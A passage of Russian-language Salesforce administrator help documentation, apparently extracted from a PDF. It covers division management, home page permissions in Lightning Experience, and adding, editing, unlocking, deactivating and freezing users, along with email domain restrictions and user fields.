интересов, не может быть деактивировано.

5. Нажмите кнопку «Сохранить».

6. Чтобы изменить порядок отображения подразделений в раскрывающемся списке
«Подразделения», щелкните«Сортировать»ивоспользуйтеськнопкамисострелками.

СМ. ТАКЖЕ:

Общие сведения о подразделениях

Настройка подразделений

Пакетный перенос записей между подразделениями

Изменение подразделения по умолчанию для пользователей
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Пакетный перенос записей между подразделениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного переноса
записей:
• «Изменение всех

данных»

Выберите группы записей для переноса между подразделениями.

Чтобыодновременнопереназначитьподразделениядлянесколькихзаписей, перенесите
группы организаций, интересов или пользователей между подразделениями.

1. В разделе «Настройка» введите «Пакетный перенос подразделений» в поле «Быстрый
поиск», затем выберите «Пакетный перенос подразделений».

2. Выберите нужный тип записи для переноса и нажмите кнопку «Далее». При
измененииподразделения, назначенногоорганизации, связанныезаписи (например,
контакты и возможности) назначаются тому же подразделению. При изменении
подразделения, назначенного настраиваемому объекту, другие настраиваемые
объекты, принадлежащие данному подразделению, также переносятся в новое
подразделение.

3. Выберите нужные условия поиска и нажмите кнопку «Далее».

4. Выберите нужное подразделение.

5. Чтобывыполнитьпереносзаписейпользователейвновоеподразделение, установите
флажок «Изменить подразделение...».

6. Нажмите кнопку «Перенос». По завершениипереноса пользователюотправляется
электронное уведомление. Запрос на перенос более 5 000 записей обрабатывается в
порядке очереди.

СМ. ТАКЖЕ:

Общие сведения о подразделениях

Настройка подразделений

Создание и редактирование подразделений

Изменение подразделения по умолчанию для пользователей
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Изменение подразделения по умолчанию для пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляизменения стандартного
подразделения
пользователя:
• «Управление

пользователями»

Стандартное подразделение пользователя может быть изменено при наличии
полномочий для управления параметрами пользователя.

Если организация использует подразделения для сегментирования данных, то
стандартное подразделение назначается всем пользователям и применяется к новым
организациям, интересам и соответствующим настраиваемым объектам. Стандартное
подразделение не препятствует просмотру или созданию записей в других
подразделениях. Темнеменее, новойзаписи, связаннойс текущейзаписью, назначается
подразделение текущей записи.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните имя пользователя, псевдоним или имя нужного пользователя.

3. Щелкните ссылку «Изменить» напротив поля «Стандартное подразделение».

4. Выберите новое стандартное подразделение.

5. Выберите действие, которое должно быть применено к текущим записям
пользователя.

6. Нажмите кнопку «Сохранить».

Приизменениисобственногостандартногоподразделениявместодействия 1 перейдите
на страницуличныхпараметров. Введите строку «Дополнительные сведения о пользователе»
в поле «Быстрый поиск» и выберите пункт «Дополнительные сведения о
пользователе». Если результаты не найдены, введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

СМ. ТАКЖЕ:

Общие сведения о подразделениях

Изменение рабочего подразделения

Индивидуальная настройка системы Salesforce
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Создание отчетов посредством подразделений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для ограничения отчетов по
подразделению:
• «В зависимости от

подразделений»

Если организация использует подразделения для сегментирования данных, то отчеты
могут отображать записи конкретных подразделений.

Чтобывыбратьодноизперечисленныхнижезначений, воспользуйтесьраскрывающимся
списком «Подразделение».

• Конкретное подразделение

• Текущее рабочее подразделение

• Все записи всех подразделений

Прим.: Отчеты, использующие стандартные фильтры (например, «Мои
обращения» или «Организации моей рабочей группы»), содержат записи всех
подразделений. Данные отчеты не могут быть дополнительно ограничены
конкретным подразделением.

СМ. ТАКЖЕ:

Общие сведения о подразделениях

Изменение рабочего подразделения

Как отказаться от предоставления услуг?
Пользователи могут отказаться от дальнейшего предоставления услуги, которая не соответствует их требованиям и
ожиданиям. Пользователи, полностьюоплатившиесвоисчета, могут запроситьполнуюзагрузкуданныхв системе. Чтобы
отправить запрос, обратитесь в расчетный отдел службы поддержки Salesforce.

Полномочия и параметры начальной страницы Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Предоставьтепользователямдоступк сведениямовозможностяхидругимполномочиям
для эффективного использования начальной страницы.

Настройка макета начальной страницы или добавление настраиваемых компонентов
невозможны.

Дополнительную информацию о включении компонента «Важные данные об
организациях» см. в разделе «Параметры организаций» справки Salesforce.

В разделе «Предстоящие события» отображаются следующие пять встреч,
запланированныхнасегодня. Вразделе «Сегодняшниезадачи» отображаютсяследующие
пять задач на сегодня.

Компоненты «Диаграмма производительности» и «Популярные сделки» отображают
сведения о возможностях в отношении группы сбыта пользователя (при наличии
связанной рабочей группы). В противном случае, диаграмма отображает собственные возможности пользователя.

Таблицанижесодержитполномочияипараметры, необходимыепользователямдля заполнениякомпонентов «Диаграмма
производительности», «Популярные сделки» и «Ассистент».
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Табл. 1: Обязательные полномочия дляфункций начальной страницы

АссистентПопулярные
сделки

Диаграмма
производительности

Полномочие или параметр

Доступ для чтения к объекту «Возможность» и
общий доступ к соответствующим возможностям

Доступ для чтения к полю «Стоимость» объекта
«Возможность»

Доступ для чтения к полю «Вероятность» объекта
«Возможность»

Полномочие «Запуск отчетов», включенное для
пользователей

Закрытые потенциальные сделки или открытые
потенциальные сделки с вероятностью более 70%
в течение текущего финансового квартала

Доступ с правами на чтение к интересующемуся
клиенту

СМ. ТАКЖЕ:

Диаграмма производительности

Ассистент

Проверка начальной страницы в Lightning Experience: пошаговое руководство

Управление пользователями

Управление пользователями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступные параметры
управления пользователями
определяютсяиспользуемой
версией Salesforce.

КаждыйпользовательSalesforce уникальноопределяетсяпоименипользователя, паролю
и профилю. Наряду с другими параметрами, профиль определяет доступные задачи,
отображаемые данные и действия, доступные для обработки данных.

Будучи администратором, вы можете выполнять задачи, связанные с управлением
пользователями, например:

• создание и изменение пользователей;

• сброс паролей;

• создание учетных записей Google Apps;

• предоставление разрешений;

• создание и управление другими типами пользователей;

• создание настраиваемых полей;

• создание настраиваемых ссылок;

• запуск отчетов для пользователей;
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• делегирование задач по администрированию пользователей другим пользователям.

В зависимости от используемого выпуска Salesforce и дополнительных функций, приобретенных вашей компанией, у
вас имеются специфические лицензии, например «Маркетинг» или Connect Offline. Лицензии позволяют пользователям
получатьдоступкфункциям, которыенепредусмотреныобычнымипользовательскимилицензиями. Выможетеназначить
одну или несколько лицензий для пользователей, а также настроить учетные записи для пользователей, которые не
относятсяквашейорганизациидлядоступакограниченномунаборуполейиобъектов. Лицензиипользователяпозволяют
предоставлять доступ к клиентскому порталу, партнерскому порталу или порталу самообслуживания. Функция Salesforce
to Salesforce позволяет создавать подключения для совместного использования записей с внешними пользователями
Salesforce.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

СМ. ТАКЖЕ:

Просмотр и управление пользователями

Общие сведения о лицензиях

Просмотр и управление пользователями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Клиентские и партнерские
порталы недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
пользователей:
• «Просмотр настройки и

конфигурации»

В списке пользователей можно просматривать всех пользователей организации,
партнерского портала и клиентского портала Salesforce, а также управлять этими
пользователями.

Введитестроку «Пользователи» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пользователи».

Ниже перечислены действия, доступные в списке пользователей.

• Создание одного пользователя.

• Создание нескольких пользователей.

• Сброс паролей для выбранных пользователей.

• Редактирование сведений о пользователе.

• Просмотр страницы сведений о пользователе путем выбора его имени, псевдонима
или имени пользователя.

• Просмотр или редактирование профиля путем выбора его имени.

• ЭкспортпользователейвGoogleисозданиеучетныхзаписейGoogle Appsпосредством
кнопки «Экспорт в Google Apps» (если организация поддерживает службы Google
Apps™).

Прим.: При необходимости выполните многие из данных задач посредством
мобильного приложения SalesforceA.

Советы по управлению пользователями
• Создайте настраиваемые поля для пользователей и задайте настраиваемые ссылки

для отображения на страницах сведений о пользователях. Чтобы получить доступ к
этим функциям, перейдите к параметру управления объектами для пользователей.
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• Чтобы найти любого пользователя организации, независимо от его статуса, воспользуйтесь поиском на боковой
панели. Прииспользованиидиалоговогоокнапоискавполях записейрезультатыпоискавозвращаюттолькоактивных
пользователей. При необходимости запустите отчеты пользователя на вкладке «Отчеты».

• Чтобыупроститьпроцесс управленияпользователямивкрупныхорганизациях, рекомендуемделегироватьнекоторые
функции управления пользователям без полномочий администратора.

Прим.: Права администратора, связанные с организацией, не могут быть делегированы пользователям
партнерского или клиентского портала. Тем не менее, некоторые права администратора портала могут быть
делегированы пользователям портала.

СМ. ТАКЖЕ:

Отключение (удаление) пользователей

Заморозка или разморозка учетных записей пользователей

SalesforceA

Рекомендации по добавлению пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Данный раздел содержит важные рекомендации по добавлению пользователей.
Просмотритеважнуюинформациюпоиспользованиюпаролейиименпользователей.

• Ваше имяпользователя должнобыть уникальнымво всех организациях Salesforce. Имя
пользователя должно иметь вид адреса электронной почты, например
jane@salesforce.com. Однакоданныйадрес электроннойпочтынеобязательнодолжен
бытьдействующим. Выможетепривязатькакой-либоработающийадресэлектронной
почты к вашей учетной записи для различных организаций, при этом только имя
пользователя в формате адреса электронной почты должно оставаться уникальным.

• Если ваше имя пользователя содержит символы, отсутствующие в латинском
алфавите, то используемый язык должен быть добавлен в параметрыформата эл.
почты Outlook при условии использования данного приложения для просмотра
сообщений эл. почты.

• Срок действия временных паролей для новых пользователей составляет шесть
месяцев. Рекомендуемизменить временныйпарольприпервомвходе. Ссылка входа,
добавленная в сообщение эл. почты, может использоваться только один раз. Пользователь, открывший ссылку без
изменения пароля, может выполнить повторный вход только после сброса пароля администратором.

• Лицензия Salesforce может быть заменена лицензией Force.com, но лицензию Force.com нельзя заменить лицензией
Salesforce.

• Некоторые типы лицензий поддерживают не все параметры. Например, параметры «Пользователь Marketing»

и «Разрешить прогнозирование» недоступны для лицензий Force.com, так как лицензии Force.com не поддерживают
вкладки «Прогнозы» и «Кампании».Лицензии Force.com недоступны для версий Professional Edition, Group Edition и
Contact Manager.

• Чтобы уведомить пользователя о том, что приложение, инициирующее Apex, использует более половины ресурсов,
заданных контролирующим ограничением, установитефлажок «Отправить электронные предупреждения Apex»

в версии Performance Edition, Unlimited Edition, Enterprise Edition или Developer Edition. Данная функция может
использоваться при разработке кода Apex для тестирования количества используемых ресурсов.

• Срок действия временных паролей для новых пользователей составляет шесть месяцев. Рекомендуем изменить
временныйпарольприпервомвходе. Ссылка входа, добавленная в сообщениеэл. почты, можетиспользоваться только
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один раз. Пользователь, открывший ссылку без изменения пароля, может выполнить повторный вход только после
восстановления пароля администратором.

СМ. ТАКЖЕ:

Добавление отдельного пользователя

Добавление отдельного пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
пользователей:
• «Управление

внутренними
пользователями»

В зависимости от размера организации или процесса обучения новых сотрудников,
система позволяет добавлять отдельных пользователей. Максимальное количество
пользователей, доступноедля добавления, определяетсяиспользуемойверсиейсистемы
Salesforce.

1. Просмотрите рекомендации по добавлению пользователей.

2. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

3. Нажмите кнопку «Создать пользователя».

4. Введите имя и адрес эл. почты пользователя, а также уникальное имя пользователя
в виде адреса эл. почты. По умолчанию имя пользователя соответствует адресу эл.
почты.

Важное замечание: Ваше имя пользователя должно быть уникальным во всех
организацияхSalesforce. Имяпользователядолжноиметьвидадресаэлектронной
почты, например jane@salesforce.com. Однакоданныйадрес электроннойпочты
не обязательно должен быть действующим. Вы можете привязать какой-либо
работающийадрес электроннойпочтык вашейучетнойзаписидляразличных
организаций, при этом только имяпользователявформатеадреса электроннойпочты
должно оставаться уникальным.

5. В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition заполните поле «Роль».

6. Заполните поле «Лицензия пользователя». Лицензия пользователя определяет
профили, доступные пользователю.

7. Выберите профиль, который определяет минимальные полномочия и параметры доступа пользователя.

8. Если в организациивключенаподдержка утверждений, топользовательможетнастроитьпараметрыответственного
за утверждение (например, выбрать менеджера или делегированного ответственного за утверждение, а также задать
параметры получения сообщений эл. почты, содержащих запросы на утверждение).
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9. Чтобыотправитьновомупользователюсообщение эл. почты, содержащее егоимяпользователяивременныйпароль,
установите флажок «Создать пароль и немедленно уведомить пользователя».

СМ. ТАКЖЕ:

Рекомендации по добавлению пользователей

Пакетное добавление пользователей

Редактирование пользователей

Поля пользователей

Общие сведения о лицензиях

Пакетное добавление пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания
пользователей:
• «Управление

внутренними
пользователями»

Ворганизациюможнобыстродобавитьдо 10 пользователей. Максимальноеколичество
пользователей, доступноедлядобавления, определяетсяиспользуемойверсией Salesforce.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Нажмите кнопку «Добавить несколько пользователей».

3. Если организации доступны разные типы лицензий, выберите нужную лицензию
пользователя. Лицензия пользователя определяет доступные профили.

4. Укажите сведения для каждого пользователя.

5. Чтобы отправить новым пользователям сообщение эл. почты с регистрационными
данными, установитефлажок «Создатьпаролииуведомитьпользователейпоэл.
почте».

6. Нажмите кнопку «Сохранить».

7. Чтобы указать дополнительные сведения об отдельных созданных пользователях,
воспользуйтесь соответствующими страницами редактирования.

СМ. ТАКЖЕ:

Добавление отдельного пользователя

Редактирование пользователей

Поля пользователей

Общие сведения о лицензиях
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Редактирование пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
пользователей:
• «Управление

внутренними
пользователями»

Чтобы изменить сведения о пользователе (например, профиль, роль или контактные
данные пользователя), отредактируйте учетную запись пользователя.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Измените нужные параметры.

4. Нажмите кнопку «Сохранить».

Совет: Принеобходимостивыполнитеданнуюидругиезадачиадминистрирования
посредством мобильного приложения SalesforceA.

СМ. ТАКЖЕ:

Поля пользователей

Рекомендации по редактированию пользователей

Разблокировка пользователей

SalesforceA

Рекомендации по редактированию пользователей

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Ниже перечислены рекомендации по редактированию пользователей.

Имена пользователей
Имя пользователя должно быть уникальным во всех организациях Salesforce. Оно
должноиспользоватьформатадресаэл. почты (например, xyz@abc.org), нофактически
может не являться адресом. В отличие от адреса эл. почты, который может
использоватьсяразнымиорганизациями, имяпользователядолжнобытьуникальным.

Приизмененииименипользователяэлектронноеподтверждение, содержащеессылку
входа, отправляется на адрес эл. почты, связанный с учетной записью пользователя.
Если организация использует несколько серверов входа, то пользователям может
бытьнедоступеннемедленныйвходпослеизмененияименпользователей. Изменение
может занять до 24 часов ввиду репликации на всех серверах.

Изменение адресов эл. почты
Приизмененииадресаэл. почтыпользователяпослеснятияфлажка «Создать пароль
и немедленно уведомить пользователя» система Salesforce отправляет сообщение-подтверждение на введенный
адрес эл. почты. Чтобы активировать новый адрес эл. почты, пользователь должен выбрать ссылку, добавленную в
данное сообщение. Данный процесс позволяет обеспечить безопасность системы.

Личные сведения
Пользователи могут изменять личные сведения после входа.
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Общий доступ к пользователям
Если единому стандартномупараметру для объекта «Пользователь» задано значение «Личный», то сведения о другом
пользователе могут быть доступны только при наличии доступа для чтения или записи к целевому пользователю.

Имена доменов
Пользователимогутограничиватьименадоменовдляадресовэл. почтыпользователейпосредствомспискаконкретных
доменов. Попыткаиспользованиядругогодоменапринастройке адреса эл. почтывозвращает сообщениеобошибке.
Чтобы включить даннуюфункцию в организации, обратитесь в компанию Salesforce.

СМ. ТАКЖЕ:

Редактирование пользователей

Разблокировка пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для разблокировки
пользователей:
• «Управление

внутренними
пользователями»

Принеоднократномвводенедействительныхучетныхданныхпользовательблокируется.
Чтобывновьполучитьдоступкорганизации, пользовательдолженбытьразблокирован.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите нужного пользователя.

3. Щелкните кнопку «Разблокировать».

Данная кнопка отображается только для заблокированного пользователя.

Совет: Принеобходимостивыполнитеданнуюидругиезадачиадминистрирования
посредством мобильного приложения SalesforceA.

СМ. ТАКЖЕ:

Редактирование пользователей

Установка политик пароля

SalesforceA
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Отключение (удаление) пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для деактивации
пользователей:
• «Управление

внутренними
пользователями»

Пользователь не может быть удален, но система Salesforceпозволяет деактивировать его
учетную запись.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Снимите флажок «Активно» и нажмите кнопку «Сохранить».

Совет: Принеобходимостивыполнитеданнуюидругиезадачиадминистрирования
посредством мобильного приложения SalesforceA.

СМ. ТАКЖЕ:

Рекомендации по деактивации пользователей

Заморозка или разморозка учетных записей пользователей

Пакетный перенос записей

SalesforceA

Рекомендации по деактивации пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

При удалении пользователей необходимо учитывать следующие факторы.

Пользовательские лицензии и выставление счетов
Деактивированный пользователь не учитывается доступными лицензиями,
предоставленнымиорганизации. Придеактивациипользователя счетапо-прежнему
выставляются за число лицензий, доступных организации. Чтобы изменить
количестволицензий, закоторыевыставляетсясчет, следуетизменитьчислолицензий
организации.

Пользователи в настраиваемых полях иерархии
Пользователь, выбранный в настраиваемом поле иерархии, не может быть
деактивировандажеприудаленииполя. Чтобыдеактивироватьпользователя в таком
поле, требуется безвозвратно удалить само поле.

Получатели электронных предупреждений для рабочих процессов
Пользователь, назначенный единственным получателем электронного
предупреждения бизнес-правил, не может быть деактивирован.

Администраторы клиентского портала
Пользователь, которомуназначенпрофиль «Администратор» наклиентскомпортале, неможетбытьдеактивирован.

Доступ к записям
Деактивированныепользователитеряютвозможностьпросмотралюбыхзаписей, доступккоторымбылпредоставлен
вручную или посредством участия в рабочих группах. Вышестоящие пользователи в иерархии ролей, связанные с
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деактивированнымипользователями, такжетеряютдоступкданнымзаписям. Приэтомихданныемогутбытьпереданы
другим пользователям, а их имена могут отображаться на странице «Пользователи».

Прим.: Еслиорганизацияиспользуетфункцию «Асинхронноеудалениеустаревшихобщихдоступов (пробная
версия)», тоудалениеобщихдоступов, предоставленныхвручнуюилипосредствомрабочихгрупп, выполняется
внепиковыечасыработы (между 18:00 и 04:00) наоснове стандартногочасовогопоясаорганизации. Аналогичные
общие доступы для записей организаций удаляются сразу после деактивации пользователей.

Деактивированные пользователи теряют возможность просмотра общедоступных записей немедленно.
Вышестоящиепользователивиерархииролеймогутпросматривать записидо асинхронного удаления данного
доступа. Если доступность данных записей является проблемой, удалите доступ, предоставленный
деактивированным пользователям, до их деактивации.

Chatter
Придеактивациипользователейворганизации, использующейChatter, онибудут удаленыизсписков «Отслеживание»
и «Отслеживающие». Повторнаяактивацияпользователейинициируетвосстановлениесведенийоподпискев списках
«Отслеживание» и «Отслеживающие».

Сведенияоподпискенемогут быть восстановленыв случае деактивациинесколькихпользователей, отслеживающих
друг друга. Например, пользователь А отслеживает пользователя Б, а пользователь Б отслеживает пользователя А.
При деактивации пользователей А и Б сведения об их подписках удаляются из списков «Отслеживание» и
«Отслеживающие». В случае повторной активации пользователей подписки не могут быть восстановлены.

Поле «Создано»
Неактивныепользователиорганизациимогутотображатьсявполе «Создано». Даннаяошибкаможетбытьрезультатом
создания записей или изменения настроек некоторыми системными операциями, действующими как случайный
пользователь-администратор для выполнения задачи. Данный пользователь может быть активен или неактивен.

Организации и возможности, принадлежащие деактивированным пользователям
Деактивированные пользователи продолжают нести ответственность за возможности и отображаются в прогнозах
и территориях. Деактивация пользователей препятствует переопределению прогнозов возможностей,
скорректированных итогов и выбранных данных менеджера для прогнозов подчиненных. Тем не менее, менеджер
можетприменятьпереопределениясвоихвыбранныхданныхкпрогнозамдеактивированногопользователя. Сводные
стоимости сохраняются. Деактивированный пользователь, который активируется повторно, может возобновить
доступные ранее бизнес-процессы. Деактивированный пользователь, для которого снят флажок «Разрешить
прогнозирование», удаляется из всех назначенных территорий.

Другиепользователимогутсоздаватьилиредактироватьзаписиорганизаций, возможностейинастраиваемыхобъектов,
принадлежащие неактивным пользователям. Например, можно изменить поле «Имя организации» в записи
возможности, принадлежащейнеактивномупользователю. Чтобывключитьданнуюфункцию, обратитесьвкомпанию
Salesforce.

Группы, работающие с возможностями или организациями
Деактивированныепользователиудаляютсяиз стандартныхгрупп, работающихсвозможностямиилиорганизациями
и принадлежащих другим пользователям. Стандартные группы, работающие с возможностями или организациями
и принадлежащие деактивированным пользователям, не удаляются.

Группы, работающие с организациями
Поумолчаниюповторнаяактивациядеактивированногопользователя, являющегосяучастникомгруппы, работающей
с организациями, и имеющего доступ «Для чтения и записи» («Доступ к организации», «Доступ к контакту»,
«Доступ к возможности» и «Доступ к обращению»), предоставляет доступ «Только для чтения».
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Группы, работающие с возможностями
Если включена функция разделения возможностей, то при деактивации пользователь не удаляется из групп,
работающих с возможностями, в которых ему назначен процент доли. Чтобы удалить пользователя из группы,
работающей с возможностями, сначала переназначьте процент доли.

Делегированное администрирование внешних пользователей
Делегированныйадминистраторвнешнихпользователей, деактивирующийпользователяпортала, неможет удалить
пользователя портала из рабочих групп с его участием.

СМ. ТАКЖЕ:

Отключение (удаление) пользователей

Заморозка или разморозка учетных записей пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для заморозки или
разморозки учетных записей
пользователей:
• «Управление

пользователями»

Иногда деактивация учетной записи требует выполнения дополнительных действий
(например, привыборепользователявнастраиваемомполеиерархии). Заморозкаучетных
записей препятствует входу деактивируемых пользователей в организацию.

Например, пользователь уволился из компании. Требуется удалить учетную запись,
однако пользователь выбран в настраиваемом поле иерархии. Учетную запись нельзя
деактивировать сразу, поэтому рекомендуем временно ее заморозить.

Совет: Принеобходимостивыполнитеданнуюидругиезадачиадминистрирования
посредством мобильного приложения SalesforceA.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните имя нужного пользователя.

3. Чтобы заблокировать доступ к учетной записи, нажмите кнопку «Заморозить».
Чтобы повторно предоставить доступ к учетной записи, нажмите кнопку
«Разморозить».

Прим.: Заморозка учетных записейнепозволяетпереназначать соответствующие
лицензии другим пользователям организации. Чтобы обеспечить доступ к
лицензиям, деактивируйте учетные записи пользователей.

СМ. ТАКЖЕ:

Отключение (удаление) пользователей

Устранение неполадок входа

SalesforceA
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Ограничение доменов эл. почты пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для ограничения доменов
эл. почты пользователя:
• «Управление

пользователями»

Чтобы ограничить домены эл. почты, разрешенные в поле «Эл. почта» записи
пользователя, рекомендуем создать специальный список.

1. Введите строку «Разрешенные домены эл. почты» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Разрешенные домены эл. почты».

Прим.: Если данная страница не отображается, обратитесь к представителю
Salesforce.

2. Нажмите кнопку «Создать разрешенный домен эл. почты».

3. Заполните поле «Домен».

Введите домен верхнего уровня (например, primer.ru) или субдомен (например,
emea.primer.ru).

4. Нажмите кнопку «Сохранить».

При необходимости повторите данные действия для добавления других доменов эл.
почты.

После добавления как минимум одного разрешенного домена эл. почты значение поля
«Эл. почта» для каждого нового пользователя должно соответствовать разрешенному домену.

Значениеполя «Эл. почта» для текущихпользователейможетне соответствовать разрешенному домену. Темнеменее
значение поля «Эл. почта» должно быть обновлено при редактировании записи текущего пользователя.

Прим.: Списокразрешенныхдоменовэл. почтынеприменяетсяковнешнимпользователям (например, пользователи
портала, сообществ или Chatter External).

СМ. ТАКЖЕ:

Добавление отдельного пользователя

Пакетное добавление пользователей

Редактирование пользователей

Поля пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Поля, содержащиеличныесведения, истраницыличныхпараметровслужатдляописания
пользователей.

Доступность поля зависит от конкретной страницы, полномочий организации и
используемой версии приложения.

ОписаниеПоле

Данныйфлажок включает режим
пользовательского интерфейса,
предназначенный для слабовидящих
пользователей.

Режим доступности
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Административныйфлажок, включающий или
выключающий вход пользователя в систему.

Активно

Часть адреса пользователя: название улицы. Данное поле
может содержать не более 255 символов.

Адрес

Данныйфлажокпозволяет администратораморганизации
получать рекламные сообщения эл. почты от компании

Информационный бюллетень администратора

Salesforce. Данное поле недоступно, если организация
отключает возможность определения необходимости
получения сообщений эл. почты от компании Salesforce.

Краткое имя для определения пользователя в списках,
отчетах и других страницах, которые не поддерживают

Псевдоним

отображениеполногоимени. Данноеполеможетсодержать
не более 8 символов.

Данныйфлажок включает функцию настраиваемого
прогнозирования.

Разрешить прогнозирование

Данныйфлажок указываетна сбросмаркераAPI. Компания
Salesforceиспользуетданноеполедляустранениянеполадок,
связанных с маркерами API.

Маркер API

Имя центра обработки вызовов, назначенного
пользователю.

Центр обработки вызовов

Данныйфлажок определяет необходимость уведомления
пользователя по эл. почте об активации учетной записи
Checkout и предоставлении доступа для входа.

Данныйпараметрможетбытьвключентолькоприналичии
полномочия «Управление расчетами».

Checkout: включено

Часть адреса пользователя: название города. Данное поле
может содержать не более 40 символов.

Город

Данныйфлажок включает альтернативную цветовую
палитру в диаграммах. Альтернативная палитра

Палитра для пользователей, страдающих дальтонизмом
(в диаграммах)

оптимизирована для пользователей, страдающих
дальтонизмом. Альтернативная палитра не используется
сообщениями эл. почты, содержащими панели
мониторинга.

Название компании, где работает пользователь. Данное
поле может содержать не более 40 символов.

Компания

Имя связанного контакта, если пользователь является
партнером.

Контакт

Часть адреса пользователя: название страны. Значение
выбирается из раскрывающегося списка стандартных

Страна
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значений или вводится как текст. Поле, являющееся
текстовым, может содержать не более 80 символов.

Пользователь, создавшийпользователя, а такжедатаивремя
создания. (Только для чтения)

Создано

Стандартная валюта пользователя для планов продаж,
прогнозов и отчетов. Данный параметр отображается

Валюта

только в мультивалютных организациях. Данная валюта
должна поддерживаться организацией.

Списокнастраиваемыхссылокдляпользователей, заданных
администратором.

Настраиваемые ссылки

Данный параметр предоставляет пользователям
возможностьпоиска контактовиинтересов вData.comиих

Тип пользователя Data.com

добавления в систему Salesforce. Кроме того, параметр
определяет тип пользователя Data.com. Пользователи
Data.comмогут ежемесячно добавлять или экспортировать
ограниченноеколичество записейорганизаций, контактов
и интересов; при этом неиспользованные записи
аннулируются в конце каждого месяца.Пользователи
Data.com List могут ежемесячно добавлять или
экспортировать ограниченное количество записей
организаций, контактов и интересов; при этом
неиспользованные записи аннулируются в конце каждого
месяца. Пользователям Data.com List, исчерпавшим
предоставленное ежемесячное ограничение, доступны
